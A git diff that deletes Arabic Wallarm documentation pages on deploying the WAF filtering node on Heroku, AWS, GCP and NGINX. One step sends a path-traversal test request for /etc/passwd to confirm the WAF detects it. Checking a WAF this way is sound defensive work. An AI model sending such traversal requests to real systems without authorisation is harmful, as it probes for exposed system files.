/opt/wallarm/register-node --token "$WALLARM_API_TOKEN" -H "$WALLARM_API_HOST" --labels "$WALLARM_LABELS" - # Read default Wallarm environment variables - export $(sed -e 's/=\(.*\)/="\1"/g' /opt/wallarm/env.list | grep -v "#" | xargs) - # Export $PORT as $NGINX_PORT (required for the `export-metrics` script) - export NGINX_PORT="$PORT" - # Read user-set Wallarm variables - [ -s /etc/wallarm-override/env.list ] && export $(sed -e 's/=\(.*\)/="\1"/g' /etc/wallarm-override/env.list | grep -v "#" | xargs) - # Launch all Wallarm services and NGINX under supervisord in the background - /opt/wallarm/usr/bin/python3.8 /opt/wallarm/usr/bin/supervisord -c /opt/wallarm/etc/supervisord.conf - else - echo "Heroku dyno type [$DYNO] is not 'web', skipping Wallarm configuration" - fi - else - echo "WALLARM_API_TOKEN is not set, just executing CMD" - fi - - # Execute the CMD command - exec "$@" - ``` - -1. اضبط أذونات الملف `entrypoint.sh` على `-rwxr-xr-x` عبر تنفيذ الأمر التالي: - - ``` - chmod 755 entrypoint.sh - ``` -1. قم بتصميم ملف `403.html` الذي يعرض صفحة مرتبة جيدًا للطلبات التي ستحجبها Wallarm. يمكنك نسخ الكود التالى: - - ```html - Forbidden
      Your request has been blocked

      If you think this is a mistake, please get in touch with the app's support team.

      - ``` - -1. أنشئ ملف `Dockerfile` لتوصف عملية بناء صورة Docker لـ Wallarm: - - ```dockerfile - FROM ubuntu:22.04 - - ARG VERSION="4.10.1" - - ENV PORT=3000 - ENV WALLARM_LABELS="group=heroku" - ENV WALLARM_API_TOKEN= - ENV WALLARM_API_HOST="us1.api.wallarm.com" - - RUN apt-get -y update && apt-get -y install nginx curl && apt-get clean - - # Download and unpack the Wallarm all-in-one installer - RUN curl -o /install.sh "https://meganode.wallarm.com/$(echo "$VERSION" | cut -d '.' -f 1-2)/wallarm-$VERSION.x86_64-glibc.sh" \ - && chmod +x /install.sh \ - && /install.sh --noexec --target /opt/wallarm \ - && rm -f /install.sh - - # Set Tarantool's $PORT variable explicitly as it conflicts with Heroku's $PORT - RUN sed -i '/^\[program:tarantool\]$/a environment=PORT=3313' /opt/wallarm/etc/supervisord.conf - - # Run supervisord in background. Our foreground process is the Heroku app itself - RUN sed -i '/nodaemon=true/d' /opt/wallarm/etc/supervisord.conf - - # Add NGINX to supervisord - RUN printf "\n\n[program:nginx]\ncommand=/usr/sbin/nginx\nautorestart=true\nstartretries=4294967295\n" | tee -a /opt/wallarm/etc/supervisord.conf - - # Heroku runs everything under an unprivileged user (dyno:dyno), so we need to grant it access to Wallarm directories - RUN find /opt/wallarm -type d -exec chmod 777 {} \; - - # Copy NGINX configuration - COPY nginx.conf /etc/nginx/nginx.conf - COPY default.conf /etc/nginx/sites-available/default - - # Herokuesque 403 error page - COPY 403.html /usr/share/nginx/html/403.html - - # Add entrypoint.sh - COPY entrypoint.sh /entrypoint.sh - - # Let entrypoint modify the config under dyno:dyno and redirect NGINX logs to console - RUN chmod 666 /etc/nginx/nginx.conf \ - && chmod 777 /etc/nginx/ \ - && ln -sf /dev/stdout /var/log/nginx/access.log \ - && ln -sf /dev/stderr /var/log/nginx/error.log - - ENTRYPOINT ["/entrypoint.sh"] - ``` - -## الخطوة 2: بناء صورة Docker الخاصة بـ Wallarm لـ Heroku - -نفذ الأوامر التالية ضمن الدليل الذي تم إنشاؤه مسبقًا: - -``` -docker build -t wallarm-heroku:4.10.1 . -docker login -docker tag wallarm-heroku:4.10.1 /wallarm-heroku:4.10.1 -docker push /wallarm-heroku:4.10.1 -``` - -## الخطوة 3: تشغيل الصورة المُبنية Docker على Heroku - -لنشر الصورة على Heroku: - -1. انتقل إلى الجذر لدليل التطبيق الخاص بك لتنفيذ العمليات التالية. -1. بناء ملف `Dockerfile` الذي سيشمل تثبيت الاعتماديات اللازمة خاصة لوقت التشغيل لتطبيقك. بالنسبة لتطبيق Node.js، استخدم القالب التالي: - - ```dockerfile - FROM /wallarm-heroku:4.10.1 - - ENV NODE_MAJOR=20 - - # Install NodeJS v20 from NodeSource - RUN apt-get update \ - && apt-get install -qqy ca-certificates curl gnupg \ - && mkdir -p /etc/apt/keyrings \ - && curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg \ - && echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main" | tee /etc/apt/sources.list.d/nodesource.list \ - && apt-get update \ - && apt-get install nodejs -qqy \ - && apt-get clean - - ADD . /opt/webapp - WORKDIR /opt/webapp - - # Install dependencies and build the app - RUN npm install --omit=dev - ENV npm_config_prefix /opt/webapp - - # Note that in private spaces the `run` section of heroku.yml is ignored - # See: https://devcenter.heroku.com/articles/build-docker-images-heroku-yml#known-issues-and-limitations - CMD ["npm", "run", "start"] - ``` -1. قم بإنشاء ملف تكوين `heroku.yml` بالمحتوى التالي: - - ```yaml - build: - docker: - web: Dockerfile - ``` - -1. قم بتكيف تطبيقك للاستماع على `/tmp/nginx.socket` بدلاً من ` $PORT` لأن ` $PORT` يتم استخدامها بواسطة NGINX. على سبيل المثال، قد يبدو التكوين على النحو التالي: - - ```js hl_lines="4-5" - // app.js - const app = require('express')() - - let port = process.env.PORT || 3000 // Wallarm is not configured, listen on $PORT - if(process.env.WALLARM_API_TOKEN) port = '/tmp/nginx.socket' // Wallarm is configured - - app.listen(port, (err) => { - if (err) throw err - console.log(`> App is listening on ${port}`) - }) - - app.get('/', (req, res) => { - res.send('This app is protected by Wallarm') - }) - ``` -1. أنشئ رمز العقدة التصفية من [النوع المناسب][أنواع-الرموز-للعقدة] لربط عينة العقدة Wallarm بالسحابة Wallarm: - - === "رمز API" - 1. افتح وحدة التحكم Wallarm → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. - 1. حدد اسم مجموعة العقدة لإضافة العقدة Wallarm إليها في متغير البيئة التالي: - - ``` - heroku config:set WALLARM_LABELS=group= - ``` - === "رمز العقدة" - 1. افتح وحدة التحكم Wallarm → **العقد** في إما السحابة [الأمريكية](https://us1.my.wallarm.com/nodes) أو السحابة [الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإنشاء عقدة تصفية بنوع **عقدة Wallarm** وانسخ الرمز المُنشأ. -1. حدد المعلمات لربط العقدة بالسحابة داخل المتغيرات ذات الصلة: - - === "السحابة الأمريكية" - ``` - heroku config:set WALLARM_API_TOKEN= - ``` - === "السحابة الأوروبية" - ``` - heroku config:set WALLARM_API_HOST=api.wallarm.com - heroku config:set WALLARM_API_TOKEN= - ``` -1. قم بدفع تطبيقك لتنشيط إعادة التشغيل، وبالتالي نشر عقدة Wallarm: - - ``` - git add Dockerfile heroku.yml app.js - git commit -m "Add Wallarm Docker" - heroku stack:set container - git push heroku - ``` - -## الخطوة 4: اختبار التنصيب - -للتأكد من أن التنصيب مُشغل بنجاح، قم ببدء هجوم اختبار باستخدام استغلال [التجاوز][وثائق-الهجوم-باستخدام-التجاوز]: - -``` -curl http:///etc/passwd -``` - -بما أن العقدة تعمل في [أنماط التنقية][وثائق-أنماط-التنقية] في **وضع المراقبة** افتراضياً، فإن العقدة Wallarm لن تقوم بحظر الهجوم ولكن ستقوم بتسجيله. للتحقق من تسجيل الهجوم، انتقل إلى وحدة التحكم Wallarm → **الهجمات**: - -![الهجمات في الواجهة][صورة-للواجهة-توضح-الهجمات] - -## تصحيح الأخطاء - -إذا واجهت أي صعوبات مع صورة Docker الأساسية لـ Wallarm، قم بفحص سجلات Heroku للرسائل الخطأ المحتملة: - -``` -heroku logs --tail -``` - -إذا كنت بحاجة إلى مساعدة خلال التنصيب، اتصل ب[فريق الدعم لـ Wallarm](mailto:support@wallarm.com). diff --git a/docs/latest-ar/installation/inline/compute-instances/aws/aws-ami.md b/docs/latest-ar/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index b8209457cb..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,42 +0,0 @@ -# نشر Wallarm باستخدام صورة آلة أمازون - -توفر هذه المقالة تعليمات لنشر Wallarm على AWS من خلال استخدام [صورة آلة أمازون (AMI) الرسمية](https://aws.amazon.com/marketplace/pp/B073VRFXSD). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -## 6. ربط النسخة بهواء Wallarm - -يتم ربط نسخة السحاب بخدمة Wallarm السحابية باستخدام السكربت [cloud-init.py][cloud-init-spec]. يسجل هذا السكربت النسخة بخدمة Wallarm السحابية باستخدام رمز مُعطى، يضبط النسخة عالمياً على وضع الرصد [mode][wallarm-mode]، ويُعد النسخة لتوجيه حركة المرور الشرعية بناءً على علامة `--proxy-pass`. إعادة تشغيل NGINX تُكمل الإعداد. - -قم بتشغيل السكربت `cloud-init.py` على النسخة المُنشأة من صورة السحاب كالتالي: - -=== "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='` يحدد اسم مجموعة للنسخة (موجودة مسبقاً، أو، إذا لم تكن موجودة، سيتم إنشاؤها). يطبق هذا فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز المنسوخة. -* `` هو عنوان لنسخة Wallarm لتوجيه حركة المرور الشرعية إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، موازن حمل، أو اسم DNS، الخ، بناءً على هيكليتك. - -## 7. تهيئة إرسال حركة المرور إلى نسخة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 8. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. ضبط الحل المنشور بدقة - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/inline/compute-instances/gcp/machine-image.md b/docs/latest-ar/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index 2bd8b04ed5..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,42 +0,0 @@ -# تنصيب Wallarm من صورة GCP الآلية - -هذه المقالة توفر الإرشادات لتنصيب Wallarm على GCP باستخدام [الصورة الآلية الرسمية](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. ربط عقدة التصفية بسحابة Wallarm - -ترتبط عقدة النموذج السحابي بالسحابة عبر السيناريو [cloud-init.py][cloud-init-spec]. يقوم هذا السيناريو بتسجيل العقدة مع سحابة Wallarm باستخدام الرمز المقدم، يعينها عالميًا على وضع [المراقبة][wallarm-mode]، ويضبط العقدة لتوجيه حركة المرور الشرعية بناءً على علم `--proxy-pass`. يكتمل الإعداد بإعادة تشغيل NGINX. - -قم بتشغيل سيناريو `cloud-init.py` على النموذج المُنشأ من صورة السحابة كالآتي: - -=== "السحابة الأمريكية" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "السحابة الأوروبية" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='` يحدد اسم مجموعة العقد (قائمة أو، إذا لم تكن موجودة، سيتم إنشائها). يطبق هذا فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز المنسوخ. -* `` هو عنوان لعقدة Wallarm لوكيل حركة المرور الشرعية إليها. يمكن أن يكون عنوان IP لنموذج تطبيق، موازنة حمل، أو اسم DNS، إلخ، بناءً على هندسة الشبكة الخاصة بك. - -## 6. تكوين إرسال حركة المرور إلى نموذج Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 7. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. تعديل التكوين النهائي للحل المنصب - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/inline/compute-instances/linux/all-in-one.md b/docs/latest-ar/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 18fac1acef..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,70 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../../../admin-en/installation-postanalytics-en.md#all-in-one-automatic-installation - -# التركيب باستخدام المثبت المتكامل - -تم تصميم **المثبت المتكامل** لتبسيط وتوحيد عملية تثبيت وحدة Wallarm كوحدة نمطية ديناميكية لـ NGINX في مختلف البيئات. يقوم المثبت هذا بتحديد نظام التشغيل وإصدارات NGINX تلقائيًا، ويثبت جميع الاعتماديات اللازمة. - -أما بالمقارنة مع الحزم الفردية لنظام التشغيل اللينكس التي تقدمها Wallarm لـ [NGINX](individual-packages-nginx-stable.md)، و[NGINX Plus](individual-packages-nginx-plus.md)، و[NGINX الموزع](individual-packages-nginx-distro.md)، فإن **المثبت المتكامل** يبسط العملية من خلال تنفيذ التعليمات البرمجية التالية تلقائيًا: - -1. التحقق من نظام التشغيل ونسخة NGINX الخاصة بك. -1. إضافة مستودعات Wallarm لنسخة نظام التشغيل وNGINX الذي تم الكشف عنهما. -1. تنصيب حزم Wallarm من هذه المستودعات. -1. ربط وحدة Wallarm المثبتة بـ NGINX الخاص بك. -1. الاتصال بالعقدة التصفية إلى Wallarm Cloud باستخدام الرمز المميز المقدم. - -![المثبتات المتكاملة مقابل التثبيت اليدوي](../../../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## استخدام الحالات - ---8<-- "../include/waf/installation/all-in-one/use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/all-in-one-requirements.md" - -## الخطوة 1: تثبيت NGINX والاعتماديات - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## الخطوة 2: تحضير كود مميز لـ Wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## الخطوة 3: تنزيل مثبت Wallarm المتكامل - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## الخطوة 4: تشغيل مثبت Wallarm المتكامل - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" diff --git a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md b/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md deleted file mode 100644 index 308d8ff6b5..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md +++ /dev/null @@ -1,76 +0,0 @@ -# تثبيت كوحدة ديناميكية لنسخة NGINX المقدمة من التوزيع - -هذه التعليمات توضح الخطوات لتثبيت عقدة تصفية Wallarm كوحدة ديناميكية لنسخة الكود المفتوح من NGINX المثبتة من مستودعات Debian/CentOS. ستقوم العقدة بتحليل حركة المرور بشكل مباشر. - -!!! info "التثبيت الشامل" - ابتداءً من عقدة Wallarm 4.6، يُوصى باستخدام [التثبيت الشامل](all-in-one.md) الذي يُتيح أتمتة جميع الأنشطة المدرجة في الخطوات أدناه ويجعل نشر العقدة أسهل بكثير. - -يمكن الحصول على NGINX الكود المفتوح من nginx.org أو المستودعات الافتراضية لـ Debian/CentOS حسب متطلباتك وتفضيلات إصدار NGINX وسياسات إدارة المستودعات. تقدم Wallarm حزمًا لكل من [nginx.org](individual-packages-nginx-stable.md) والأٌصدارات التي يوفرها التوزيع. يركز هذا الدليل على NGINX من مستودعات Debian/CentOS. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 6. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. تكوين إرسال حركة المرور إلى عقدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 8. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 9. الضبط الدقيق للحل المنشور - -تم تثبيت الوحدة الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX `stable`. قد تتطلب عقدة التصفية بعض التجهيزات الإضافية بعد النشر. - -تتم تعريف إعدادات Wallarm باستخدام [التوجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة مستخدم Wallarm Console. يجب ضبط التوجيهات في الملفات التالية على الجهاز الذي يحتوي على عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العالمية - - يُستخدم هذا الملف للإعدادات المُطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو قم بإنشاء ملفات تكوين جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و`test.com.conf`). لمزيد من المعلومات التفصيلية حول ملفات تكوين NGINX متوفرة في [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متوفر ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة البيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [ضبط وضع الترشيح][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل الديناميكي لحل اسم DNS في NGINX][dynamic-dns-resolution-nginx] - -## القيود - -* [اكتشاف تعبئة بيانات الاعتماد][cred-stuffing-docs] غير مدعوم حاليًا، لأن الحزم لم يتم تحديثها إلى الإصدار 4.10 بعد \ No newline at end of file diff --git a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md b/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md deleted file mode 100644 index 9b48a9d09d..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md +++ /dev/null @@ -1,57 +0,0 @@ -# تثبيت كوحدة ديناميكية لـ NGINX Plus - -تصف هذه التعليمات الخطوات اللازمة لتثبيت عقدة فلترة Wallarm كوحدة ديناميكية للنسخة التجارية الرسمية من NGINX Plus. ستقوم العقدة بتحليل حركة المرور بشكل مباشر. - -!!! info "تثبيت شامل" - ابتداء من عقدة Wallarm 4.6، يُنصح باستخدام [التثبيت الشامل](../../../../installation/nginx/all-in-one.md) الذي يُتمت كل الأنشطة المذكورة في الخطوات أدناه ويجعل نشر العقدة أسهل بكثير. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 7. إعادة تشغيل NGINX Plus - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال حركة المرور إلى وحدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 9. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. تعديل الحل الموظف بدقة - -تم تثبيت الوحدة الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX Plus. قد تتطلب عقدة الفلترة بعض التكوين الإضافي بعد النشر. - -يتم تحديد إعدادات Wallarm باستخدام [توجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة مستخدم وحدة التحكم Wallarm. يجب ضبط التوجيهات في الملفات التالية على الجهاز الذي توجد عليه عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة الفلترة العالمية - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة من النطاقات (على سبيل المثال، `example.com.conf` و `test.com.conf`). تتوفر معلومات أكثر تفصيلية حول ملفات تكوين NGINX في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. يتوفر وصف مفصل ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكن تطبيقها إذا لزم الأمر: - -* [تكوين وضعية الفلترة][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -## القيود - -* [اكتشاف عمليات ملء البيانات ببيانات اعتمادية][cred-stuffing-docs] غير مدعوم حاليًا، حيث لم يتم تحديث الحزم إلى الإصدار 4.10 بعد \ No newline at end of file diff --git a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md b/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md deleted file mode 100644 index 6201afc1ac..0000000000 --- a/docs/latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md +++ /dev/null @@ -1,59 +0,0 @@ -# تثبيت كوحدة ديناميكية لـ NGINX Stable - -تصف هذه التعليمات الخطوات لتثبيت عقدة التصفية Wallarm كوحدة ديناميكية للنسخة المفتوحة المصدر من NGINX `الثابتة` والتي تم تثبيتها من مستودع NGINX. ستقوم العقدة بتحليل حركة المرور بشكل مباشر. - -!!! info "تثبيت شامل" - ابتداءً من عقدة Wallarm 4.6، يوصى باستخدام [التثبيت الشامل](all-in-one.md) الذي يؤتمت جميع الأنشطة المدرجة في الخطوات أدناه ويجعل نشر العقدة أسهل بكثير. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 7. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال حركة المرور إلى عقدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 9. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. ضبط الحل المنشور بدقة - -تم تثبيت الوحدة الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX `الثابتة`. قد تتطلب عقدة التصفية بعض الإعدادات الإضافية بعد النشر. - -يتم تحديد إعدادات Wallarm باستخدام [توجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة Wallarm Console. يجب ضبط التوجيهات في الملفات التالية على الجهاز مع عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العامة - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و `test.com.conf`). المعلومات أكثر تفصيلاً حول ملفات تكوين NGINX متاحة في [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متاح في الرابط[link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة البيانات Tarantool - -أدناه هناك بعض من الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [تكوين وضع التصفية][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل الديناميكي لحل DNS في NGINX][dynamic-dns-resolution-nginx] - -## القيود - -* [كشف التقديم الاعتمادي][cred-stuffing-docs] غير مدعوم حاليًا، حيث لم يتم تحديث الحزم إلى إصدار 4.10 بعد. \ No newline at end of file diff --git a/docs/latest-ar/installation/inline/overview.md b/docs/latest-ar/installation/inline/overview.md deleted file mode 100644 index 01074ee0f2..0000000000 --- a/docs/latest-ar/installation/inline/overview.md +++ /dev/null @@ -1,87 +0,0 @@ -# نشر عقدة Wallarm بشكل مباشر - -يمكن نشر Wallarm بشكل مباشر لتخفيف التهديدات في الوقت الفعلي. في هذه الحالة، يمر الحركة الموجهة إلى الAPIs المحمية عبر مثيلات عقدة Wallarm قبل أن تصل إلى الAPI. لا توجد فرصة للمهاجم لتجاوز عقد Wallarm طالما كانت هي الطريق الوحيد المتاح للمستخدمين النهائيين. تشرح هذه المقالة النهج بالتفصيل. - -تقع مثيلات عقدة Wallarm بين العميل والخوادم، حيث تقوم بتحليل حركة المرور الواردة، تخفيف الطلبات الخبيثةووتوجيه الطلبات المشروعة إلى الخادم المحمي. - -## حالات الاستخدام - -الحل المباشر الخاص بWallarm مناسب لحالات الاستخدام التالية: - -* تخفيف الطلبات الخبيثة مثل SQli، حقن XSS، الإساءة للAPI، القوة الغاشمة قبل أن تصل إلى خادم التطبيق. -* الحصول على معرفة بالثغرات الأمنية النشطة في نظامك وتطبيق التصحيحات الافتراضية قبل إصلاح كود التطبيق. -* مراقبة جرد الAPI وتتبع البيانات الحساسة. - -## المزايا والمتطلبات الخاصة - -تقدم طريقة النشر المباشر لنشر Wallarm مزايا عديدة عن طرق 